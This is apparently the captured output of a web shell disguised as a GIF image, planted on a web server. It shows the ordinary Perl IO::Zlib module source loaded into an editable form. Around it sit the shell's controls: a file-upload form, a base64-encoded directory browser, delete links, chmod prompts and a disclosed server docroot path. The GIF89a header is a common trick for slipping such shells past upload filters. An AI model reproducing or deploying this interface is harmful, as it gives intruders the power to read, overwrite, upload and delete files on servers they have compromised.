GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Zlib.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw%3D%3D&f=WmxpYi5wbQ%3D%3D"><input name="f" value="Zlib.pm"><textarea name="t"># IO::Zlib.pm
#
# Copyright (c) 1998-2004 Tom Hughes &lt;tom@compton.nu&gt;.
# All rights reserved. This program is free software; you can redistribute
# it and/or modify it under the same terms as Perl itself.

package IO::Zlib;

=head1 NAME

IO::Zlib - IO:: style interface to L&lt;Compress::Zlib&gt;

=head1 SYNOPSIS

With any version of Perl 5 you can use the basic OO interface:

    use IO::Zlib;

    $fh = new IO::Zlib;
    if ($fh-&gt;open(&quot;file.gz&quot;, &quot;rb&quot;)) {
        print &lt;$fh&gt;;
        $fh-&gt;close;
    }

    $fh = IO::Zlib-&gt;new(&quot;file.gz&quot;, &quot;wb9&quot;);
    if (defined $fh) {
        print $fh &quot;bar\n&quot;;
        $fh-&gt;close;
    }

    $fh = IO::Zlib-&gt;new(&quot;file.gz&quot;, &quot;rb&quot;);
    if (defined $fh) {
        print &lt;$fh&gt;;
        undef $fh;       # automatically closes the file
    }

With Perl 5.004 you can also use the TIEHANDLE interface to access
compressed files just like ordinary files:

    use IO::Zlib;

    tie *FILE, 'IO::Zlib', &quot;file.gz&quot;, &quot;wb&quot;;
    print FILE &quot;line 1\nline2\n&quot;;

    tie *FILE, 'IO::Zlib', &quot;file.gz&quot;, &quot;rb&quot;;
    while (&lt;FILE&gt;) { print &quot;LINE: &quot;, $_ };

=head1 DESCRIPTION

C&lt;IO::Zlib&gt; provides an IO:: style interface to L&lt;Compress::Zlib&gt; and
hence to gzip/zlib compressed files. It provides many of the same methods
as the L&lt;IO::Handle&gt; interface.

Starting from IO::Zlib version 1.02, IO::Zlib can also use an
external F&lt;gzip&gt; command.  The default behaviour is to try to use
an external F&lt;gzip&gt; if no C&lt;Compress::Zlib&gt; can be loaded, unless
explicitly disabled by

    use IO::Zlib qw(:gzip_external 0);

If explicitly enabled by

    use IO::Zlib qw(:gzip_external 1);

then the external F&lt;gzip&gt; is used B&lt;instead&gt; of C&lt;Compress::Zlib&gt;.

=head1 CONSTRUCTOR

=over 4

=item new ( [ARGS] )

Creates an C&lt;IO::Zlib&gt; object. If it receives any parameters, they are
passed to the method C&lt;open&gt;; if the open fails, the object is destroyed.
Otherwise, it is returned to the caller.

=back

=head1 OBJECT METHODS

=over 4

=item open ( FILENAME, MODE )

C&lt;open&gt; takes two arguments. The first is the name of the file to open
and the second is the open mode. The mode can be anything acceptable to
L&lt;Compress::Zlib&gt; and by extension anything acceptable to I&lt;zlib&gt; (that
basically means POSIX fopen() style mode strings plus an optional number
to indicate the compression level).

=item opened

Returns true if the object currently refers to a opened file.

=item close

Close the file associated with the object and disassociate
the file from the handle.
Done automatically on destroy.

=item getc

Return the next character from the file, or undef if none remain.

=item getline

Return the next line from the file, or undef on end of string.
Can safely be called in an array context.
Currently ignores $/ ($INPUT_RECORD_SEPARATOR or $RS when L&lt;English&gt;
is in use) and treats lines as delimited by &quot;\n&quot;.

=item getlines

Get all remaining lines from the file.
It will croak() if accidentally called in a scalar context.

=item print ( ARGS... )

Print ARGS to the  file.

=item read ( BUF, NBYTES, [OFFSET] )

Read some bytes from the file.
Returns the number of bytes actually read, 0 on end-of-file, undef on error.

=item eof

Returns true if the handle is currently positioned at end of file?

=item seek ( OFFSET, WHENCE )

Seek to a given position in the stream.
Not yet supported.

=item tell

Return the current position in the stream, as a numeric offset.
Not yet supported.

=item setpos ( POS )

Set the current position, using the opaque value returned by C&lt;getpos()&gt;.
Not yet supported.

=item getpos ( POS )

Return the current position in the string, as an opaque object.
Not yet supported.

=back

=head1 USING THE EXTERNAL GZIP

If the external F&lt;gzip&gt; is used, the following C&lt;open&gt;s are used:

    open(FH, &quot;gzip -dc $filename |&quot;)  # for read opens
    open(FH, &quot; | gzip &gt; $filename&quot;)   # for write opens

You can modify the 'commands' for example to hardwire
an absolute path by e.g.

    use IO::Zlib ':gzip_read_open'  =&gt; '/some/where/gunzip -c %s |';
    use IO::Zlib ':gzip_write_open' =&gt; '| /some/where/gzip.exe &gt; %s';

The C&lt;%s&gt; is expanded to be the filename (C&lt;sprintf&gt; is used, so be
careful to escape any other C&lt;%&gt; signs).  The 'commands' are checked
for sanity - they must contain the C&lt;%s&gt;, and the read open must end
with the pipe sign, and the write open must begin with the pipe sign.

=head1 CLASS METHODS

=over 4

=item has_Compress_Zlib

Returns true if C&lt;Compress::Zlib&gt; is available.  Note that this does
not mean that C&lt;Compress::Zlib&gt; is being used: see L&lt;/gzip_external&gt;
and L&lt;gzip_used&gt;.

=item gzip_external

Undef if an external F&lt;gzip&gt; B&lt;can&gt; be used if C&lt;Compress::Zlib&gt; is
not available (see L&lt;/has_Compress_Zlib&gt;), true if an external F&lt;gzip&gt;
is explicitly used, false if an external F&lt;gzip&gt; must not be used.
See L&lt;/gzip_used&gt;.

=item gzip_used

True if an external F&lt;gzip&gt; is being used, false if not.

=item gzip_read_open

Return the 'command' being used for opening a file for reading using an
external F&lt;gzip&gt;.

=item gzip_write_open

Return the 'command' being used for opening a file for writing using an
external F&lt;gzip&gt;.

=back

=head1 DIAGNOSTICS

=over 4

=item IO::Zlib::getlines: must be called in list context

If you want read lines, you must read in list context.

=item IO::Zlib::gzopen_external: mode '...' is illegal

Use only modes 'rb' or 'wb' or /wb[1-9]/.

=item IO::Zlib::import: '...' is illegal

The known import symbols are the C&lt;:gzip_external&gt;, C&lt;:gzip_read_open&gt;,
and C&lt;:gzip_write_open&gt;.  Anything else is not recognized.

=item IO::Zlib::import: ':gzip_external' requires an argument

The C&lt;:gzip_external&gt; requires one boolean argument.

=item IO::Zlib::import: 'gzip_read_open' requires an argument

The C&lt;:gzip_external&gt; requires one string argument.

=item IO::Zlib::import: 'gzip_read' '...' is illegal

The C&lt;:gzip_read_open&gt; argument must end with the pipe sign (|)
and have the C&lt;%s&gt; for the filename.  See L&lt;/&quot;USING THE EXTERNAL GZIP&quot;&gt;.

=item IO::Zlib::import: 'gzip_write_open' requires an argument

The C&lt;:gzip_external&gt; requires one string argument.

=item IO::Zlib::import: 'gzip_write_open' '...' is illegal

The C&lt;:gzip_write_open&gt; argument must begin with the pipe sign (|)
and have the C&lt;%s&gt; for the filename.  An output redirect (&gt;) is also
often a good idea, depending on your operating system shell syntax.
See L&lt;/&quot;USING THE EXTERNAL GZIP&quot;&gt;.

=item IO::Zlib::import: no Compress::Zlib and no external gzip

Given that we failed to load C&lt;Compress::Zlib&gt; and that the use of
 an external F&lt;gzip&gt; was disabled, IO::Zlib has not much chance of working.

=item IO::Zlib::open: needs a filename

No filename, no open.

=item IO::Zlib::READ: NBYTES must be specified

We must know how much to read.

=item IO::Zlib::WRITE: too long LENGTH

The LENGTH must be less than or equal to the buffer size.

=back

=head1 SEE ALSO

L&lt;perlfunc&gt;,
L&lt;perlop/&quot;I/O Operators&quot;&gt;,
L&lt;IO::Handle&gt;,
L&lt;Compress::Zlib&gt;

=head1 HISTORY

Created by Tom Hughes E&lt;lt&gt;F&lt;tom@compton.nu&gt;E&lt;gt&gt;.

Support for external gzip added by Jarkko Hietaniemi E&lt;lt&gt;F&lt;jhi@iki.fi&gt;E&lt;gt&gt;.

=head1 COPYRIGHT

Copyright (c) 1998-2004 Tom Hughes E&lt;lt&gt;F&lt;tom@compton.nu&gt;E&lt;gt&gt;.
All rights reserved. This program is free software; you can redistribute
it and/or modify it under the same terms as Perl itself.

=cut

require 5.006;

use strict;
use warnings;

use Carp;
use Fcntl qw(SEEK_SET);
use Symbol;
use Tie::Handle;

our $VERSION = &quot;1.14&quot;;
our $AUTOLOAD;
our @ISA = qw(Tie::Handle);

my $has_Compress_Zlib;
my $gzip_external;
my $gzip_used;
my $gzip_read_open = &quot;gzip -dc %s |&quot;;
my $gzip_write_open = &quot;| gzip &gt; %s&quot;;
my $aliased;

BEGIN {
    eval { require Compress::Zlib };
    $has_Compress_Zlib = $@ || $Compress::Zlib::VERSION &lt; 2.000 ? 0 : 1;
}

sub has_Compress_Zlib
{
    $has_Compress_Zlib;
}

sub gzip_external
{
    $gzip_external;
}

sub gzip_used
{
    $gzip_used;
}

sub gzip_read_open
{
    $gzip_read_open;
}

sub gzip_write_open
{
    $gzip_write_open;
}

sub can_gunzip
{
    $has_Compress_Zlib || $gzip_external;
}

sub _import
{
    my $import = shift;

    while (@_)
    {
        if ($_[0] eq ':gzip_external')
        {
            shift;

            if (@_)
            {
                $gzip_external = shift;
            }
            else
            {
                croak &quot;$import: ':gzip_external' requires an argument&quot;;
            }
        }
        elsif ($_[0] eq ':gzip_read_open')
        {
            shift;

            if (@_)
            {
                $gzip_read_open = shift;

                croak &quot;$import: ':gzip_read_open' '$gzip_read_open' is illegal&quot;
                    unless $gzip_read_open =~ /^.+%s.+\|\s*$/;
            }
            else
            {
                croak &quot;$import: ':gzip_read_open' requires an argument&quot;;
            }
        }
        elsif ($_[0] eq ':gzip_write_open')
        {
            shift;

            if (@_)
            {
                $gzip_write_open = shift;

                croak &quot;$import: ':gzip_write_open' '$gzip_read_open' is illegal&quot;
                    unless $gzip_write_open =~ /^\s*\|.+%s.*$/;
            }
            else
            {
                croak &quot;$import: ':gzip_write_open' requires an argument&quot;;
            }
        }
        else
        {
            last;
        }
    }

    return @_;
}

sub _alias
{
    my $import = shift;

    if ($gzip_external || (!$has_Compress_Zlib &amp;&amp; !defined($gzip_external)))
    {
        require IO::Handle;

        undef *gzopen;
        *gzopen = \&amp;gzopen_external;

        *IO::Handle::gzread = \&amp;gzread_external;
        *IO::Handle::gzwrite = \&amp;gzwrite_external;
        *IO::Handle::gzreadline = \&amp;gzreadline_external;
        *IO::Handle::gzeof = \&amp;gzeof_external;
        *IO::Handle::gzclose = \&amp;gzclose_external;

        $gzip_used = 1;
    }
    elsif ($has_Compress_Zlib)
    {
        *gzopen = \&amp;Compress::Zlib::gzopen;
        *gzread = \&amp;Compress::Zlib::gzread;
        *gzwrite = \&amp;Compress::Zlib::gzwrite;
        *gzreadline = \&amp;Compress::Zlib::gzreadline;
        *gzeof = \&amp;Compress::Zlib::gzeof;
    }
    else
    {
        croak &quot;$import: no Compress::Zlib and no external gzip&quot;;
    }

    $aliased = 1;
}

sub import
{
    my $class = shift;
    my $import = &quot;IO::Zlib::import&quot;;

    if (@_)
    {
        if (_import($import, @_))
        {
            croak &quot;$import: '@_' is illegal&quot;;
        }
    }

    _alias($import);
}

sub TIEHANDLE
{
    my $class = shift;
    my @args = @_;

    my $self = bless {}, $class;

    return @args ? $self-&gt;OPEN(@args) : $self;
}

sub DESTROY
{
}

sub OPEN
{
    my $self = shift;
    my $filename = shift;
    my $mode = shift;

    croak &quot;IO::Zlib::open: needs a filename&quot; unless defined($filename);

    $self-&gt;{'file'} = gzopen($filename,$mode);

    return defined($self-&gt;{'file'}) ? $self : undef;
}

sub CLOSE
{
    my $self = shift;

    return undef unless defined($self-&gt;{'file'});

    my $status = $self-&gt;{'file'}-&gt;gzclose();

    delete $self-&gt;{'file'};

    return ($status == 0) ? 1 : undef;
}

sub READ
{
    my $self = shift;
    my $bufref = \$_[0];
    my $nbytes = $_[1];
    my $offset = $_[2] || 0;

    croak &quot;IO::Zlib::READ: NBYTES must be specified&quot; unless defined($nbytes);

    $$bufref = &quot;&quot; unless defined($$bufref);

    my $bytesread = $self-&gt;{'file'}-&gt;gzread(substr($$bufref,$offset),$nbytes);

    return undef if $bytesread &lt; 0;

    return $bytesread;
}

sub READLINE
{
    my $self = shift;

    my $line;

    return () if $self-&gt;{'file'}-&gt;gzreadline($line) &lt;= 0;

    return $line unless wantarray;

    my @lines = $line;

    while ($self-&gt;{'file'}-&gt;gzreadline($line) &gt; 0)
    {
        push @lines, $line;
    }

    return @lines;
}

sub WRITE
{
    my $self = shift;
    my $buf = shift;
    my $length = shift;
    my $offset = shift;

    croak &quot;IO::Zlib::WRITE: too long LENGTH&quot; unless $offset + $length &lt;= length($buf);

    return $self-&gt;{'file'}-&gt;gzwrite(substr($buf,$offset,$length));
}

sub EOF
{
    my $self = shift;

    return $self-&gt;{'file'}-&gt;gzeof();
}

sub FILENO
{
    return undef;
}

sub new
{
    my $class = shift;
    my @args = @_;

    _alias(&quot;new&quot;, @_) unless $aliased; # Some call new IO::Zlib directly...

    my $self = gensym();

    tie *{$self}, $class, @args;

    return tied(${$self}) ? bless $self, $class : undef;
}

sub getline
{
    my $self = shift;

    return scalar tied(*{$self})-&gt;READLINE();
}

sub getlines
{
    my $self = shift;

    croak &quot;IO::Zlib::getlines: must be called in list context&quot;
        unless wantarray;

    return tied(*{$self})-&gt;READLINE();
}

sub opened
{
    my $self = shift;

    return defined tied(*{$self})-&gt;{'file'};
}

sub AUTOLOAD
{
    my $self = shift;

    $AUTOLOAD =~ s/.*:://;
    $AUTOLOAD =~ tr/a-z/A-Z/;

    return tied(*{$self})-&gt;$AUTOLOAD(@_);
}

sub gzopen_external
{
    my $filename = shift;
    my $mode = shift;
    my $fh = IO::Handle-&gt;new();

    if ($mode =~ /r/)
    {
        # Because someone will try to read ungzipped files
        # with this we peek and verify the signature.  Yes,
        # this means that we open the file twice (if it is
        # gzipped).
        # Plenty of race conditions exist in this code, but
        # the alternative would be to capture the stderr of
        # gzip and parse it, which would be a portability nightmare.
        if (-e $filename &amp;&amp; open($fh, $filename))
        {
            binmode $fh;

            my $sig;
            my $rdb = read($fh, $sig, 2);

            if ($rdb == 2 &amp;&amp; $sig eq &quot;\x1F\x8B&quot;)
            {
                my $ropen = sprintf($gzip_read_open, $filename);

                if (open($fh, $ropen))
                {
                    binmode $fh;

                    return $fh;
                }
                else
                {
                    return undef;
                }
            }

            seek($fh, 0, SEEK_SET) or
                die &quot;IO::Zlib: open('$filename', 'r'): seek: $!&quot;;

            return $fh;
        }
        else
        {
            return undef;
        }
    }
    elsif ($mode =~ /w/)
    {
        my $level = $mode =~ /([1-9])/ ? &quot;-$1&quot; : &quot;&quot;;

        # To maximize portability we would need to open
        # two filehandles here, one for &quot;| gzip $level&quot;
        # and another for &quot;&gt; $filename&quot;, and then when
        # writing copy bytes from the first to the second.
        # We are using IO::Handle objects for now, however,
        # and they can only contain one stream at a time.
        my $wopen = sprintf($gzip_write_open, $filename);

        if (open($fh, $wopen))
        {
            $fh-&gt;autoflush(1);
            binmode $fh;

            return $fh;
        }
        else
        {
            return undef;
        }
    }
    else
    {
        croak &quot;IO::Zlib::gzopen_external: mode '$mode' is illegal&quot;;
    }

    return undef;
}

sub gzread_external
{
    my $file = shift;
    my $bufref = \$_[0];
    my $nbytes = $_[1] || 4096;

    # Use read() instead of sysread() because people may
    # mix reads and readlines, and we don't want to mess
    # the stdio buffering.  See also gzreadline_external()
    # and gzwrite_external().
    my $nread = read($file, $$bufref, $nbytes);

    return defined $nread ? $nread : -1;
}

sub gzwrite_external
{
    my $file = shift;
    my $buf = shift;

    # Using syswrite() is okay (cf. gzread_external())
    # since the bytes leave this process and buffering
    # is therefore not an issue.
    my $nwrote = syswrite($file, $buf);

    return defined $nwrote ? $nwrote : -1;
}

sub gzreadline_external
{
    my $file = shift;
    my $bufref = \$_[0];

    # See the comment in gzread_external().
    $$bufref = readline($file);

    return defined $$bufref ? length($$bufref) : -1;
}

sub gzeof_external
{
    my $file = shift;

    return eof($file);
}

sub gzclose_external
{
    my $file = shift;

    close($file);

    # I am not entirely certain why this is needed but it seems
    # the above close() always fails (as if the stream would have
    # been already closed - something to do with using external
    # processes via pipes?)
    return 0;
}

1;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl/5.38.2/IO<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTy9Db21wcmVzcw=="/>Compress</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=Q29tcHJlc3M=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTy9Tb2NrZXQ="/>Socket</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=U29ja2V0&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTy9VbmNvbXByZXNz"/>Uncompress</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=VW5jb21wcmVzcw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&x=WmxpYi5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=WmxpYi5wbQ=="/>Zlib.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9JTw==&f=WmxpYi5wbQ==&c=`+btoa(c):0" value="0644"></td><td>16101</td></tr></table>